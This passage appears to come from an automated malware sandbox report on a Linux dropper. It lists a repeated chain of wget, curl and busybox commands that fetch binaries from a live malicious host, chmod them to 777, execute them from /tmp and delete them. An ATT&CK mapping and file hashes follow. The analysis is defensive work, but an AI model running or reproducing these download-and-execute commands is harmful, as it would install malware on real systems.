  - File and Directory Permissions Modification
  PID:867
- /tmp/eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  ./eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  PID:868
- /bin/rm
  rm eEWYKpXPutaD6kkaibb8LTx4TFD6KSL4wa
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - System Network Configuration Discovery
  PID:872
- /bin/chmod
  chmod 777 y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  ./y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  PID:874
- /bin/rm
  rm y6Cys1EKDQeMuvMY9qUC1V5GBc3bokRzZW
  2⤵
  PID:875
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:877
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - System Network Configuration Discovery
  PID:878
- /bin/chmod
  chmod 777 dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  ./dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:880
- /bin/rm
  rm dqhIxJWD7lqzqWZVcthOiSfRnebr5eEMPC
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  PID:884
- /bin/chmod
  chmod 777 9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  ./9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm 9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
  2⤵
  PID:889
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  PID:894
- /bin/chmod
  chmod 777 6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  ./6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  PID:898
- /bin/rm
  rm 6J8wAgqG0XG4ikmhpCnt9upgbUGbT0QOhK
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - System Network Configuration Discovery
  PID:905
- /bin/chmod
  chmod 777 IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  ./IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  PID:908
- /bin/rm
  rm IWVb8OJDvtwhlvV7B7AFDKfwgtQ8HtRMVg
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - System Network Configuration Discovery
  PID:912
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  ./jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:917
- /bin/rm
  rm jEc2O8D59lIV1cZnC8DOMJuO8PRY9J38k4
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  PID:920
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  PID:921
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  ./2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm 2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - System Network Configuration Discovery
  PID:933
- /bin/chmod
  chmod 777 FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  ./FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  PID:936
- /bin/rm
  rm FFh4L9aH69m58DXo3aIH5MJYubY2YVbBuw
  2⤵
  PID:937

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1

Path /tmp/2XYNg8JjJ3r6bpmj0KvbgbdvWsDO8DpXa1
Size 129KB
SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
MD5 52f72bcf31899453b40d37a7cbf55f35
SHA1 6dfca1bd70aad3e88713b02ec1669ba5a792456c
SHA512 be8b5d14afe30f1ce2f474a20af599a93c3a7543ec301554dd2ffa0225c945d91c3354d777f09ee886a90acfa8ecfa24533de9cf3bcf5f59a44d53ca3c73e967
SSDEEP 3072:OA9mxA93S4ra9OPArobOmJ9fNyKmVs0jp:tVa96A8ymJ9fNyKmVs0jp
MD5 SHA1 SHA512 SSDEEP

Submit Download

9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk

Path /tmp/9kevv7JXPKfNoapubHIY0Gw8nWwW075VMk
Size 158KB
SHA256 f09f8db2883da603f963189ef3b8185b179832de8b2e526ef63fe8b96847cc7b
MD5 d8e96e2fdd3c610ec19128e18de5abde
SHA1 10cf691ae9779bfeca8b67e75721d0a6f275e4f9
SHA512 979e0f29d7b65fcf7c4d93ec6fdaa70cdd26d9fa8a526fee7d4cdb028229db06186f89c9b0c93d3112e636c1b65819d46695310c90a1700343c2221df9323592
SSDEEP 3072:qFs/AlUAk8mBJfaAnZY4b7rUb4jC7GkLy3L3fnZeM/9N5mmMFPwKi5qJY:qGaWZY4b7uiCLy73fngM/9vmmMFPwKit
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.EPCgp5

Path /var/spool/cron/crontabs/tmp.EPCgp5
Size 210B
SHA256 8ca8859d709911436c9dd8419b9cbec708715110a9699527e9e8aa03860ec99d
MD5 61253b7bed2504cd8a0236876b670b62
SHA1 13dff848c25aa47040b3906822c3f5d5874f35c4
SHA512 a322f9c8fa7a853a15c1ca5b3847f7678221784d9435649ce68d657d24cd9efcfc218f5a72ba3da4451cb0a7324d3c8abfa43f2c259bc283eba111d6d2d9f7c8
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads